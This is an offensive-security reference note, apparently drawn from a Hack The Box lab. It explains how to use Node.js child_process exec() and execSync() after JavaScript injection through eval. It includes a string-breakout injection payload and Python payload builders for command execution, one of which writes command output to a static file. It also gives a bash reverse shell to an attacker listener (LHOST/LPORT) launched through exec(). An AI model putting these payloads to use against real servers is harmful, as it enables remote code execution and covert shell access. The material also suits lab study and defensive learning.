exec vs execSync
child_process exec vs execSync
child_process is a built-in Node.js module for starting operating-system processes. Its exec() and execSync() functions both accept a shell command string and pass it to a shell. They are command-execution primitives used after arbitrary JavaScript execution has already been obtained; the code-injection vulnerability remains the earlier construction and evaluation of source containing attacker-controlled text:
const value = req.body.value;
const source = `result = '${value}'`;
eval(source);For example, the value below closes the original string, inserts a child_process call, and comments the original trailing quote:
'; require('child_process').execSync('<COMMAND>');//
The resulting evaluated source is:
result = ''; require('child_process').execSync('<COMMAND>');//'
Use execSync() when command completion or stdout is required before the injected JavaScript continues. Use exec() for a reverse shell or another long-running process that must continue while the injected JavaScript finishes.
In-band output
execSync() starts the shell command and does not return until that command exits. While it waits, the JavaScript thread running the request cannot process its next operation. The function returns stdout as a Buffer, which is Node.js’s container for raw bytes. Calling .toString() decodes those bytes into a JavaScript string that can be returned in the HTTP response.
require("child_process").execSync("<COMMAND>").toString()The same synchronization is useful when the command writes output to a file that the exploit reads immediately after the triggering request. The request does not finish until execSync() and the file write have completed.
redirect_command = f"{command} > static/css/output.txt"
payload = f"---js\n((require('child_process')).execSync({repr(redirect_command)}))\n---RCE"Reverse shell
exec() starts the shell command and immediately returns a ChildProcess object. This object is a handle to the running process and provides properties and streams for interacting with it. The injected JavaScript can therefore finish while the reverse-shell process remains connected to the listener.
require("child_process").exec("<REVERSE_SHELL>")rev_shell = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
payload = f"---js\n((require('child_process')).exec({repr(rev_shell)}))\n---RCE"Using execSync() for a reverse shell leaves the renderer or HTTP request waiting until the interactive shell disconnects. Using exec() avoids that wait, but the function cannot return stdout that has not been produced yet. Output must instead be collected later through a callback or through the stdout stream on the returned ChildProcess object.
Find by: javascript injection, nodejs, node, child_process, exec, execSync, synchronous, asynchronous, blocking, event loop, command output, in band, output file, reverse shell, childprocess · Source: HTB/BlinkerFluids + Node.js child_process documentation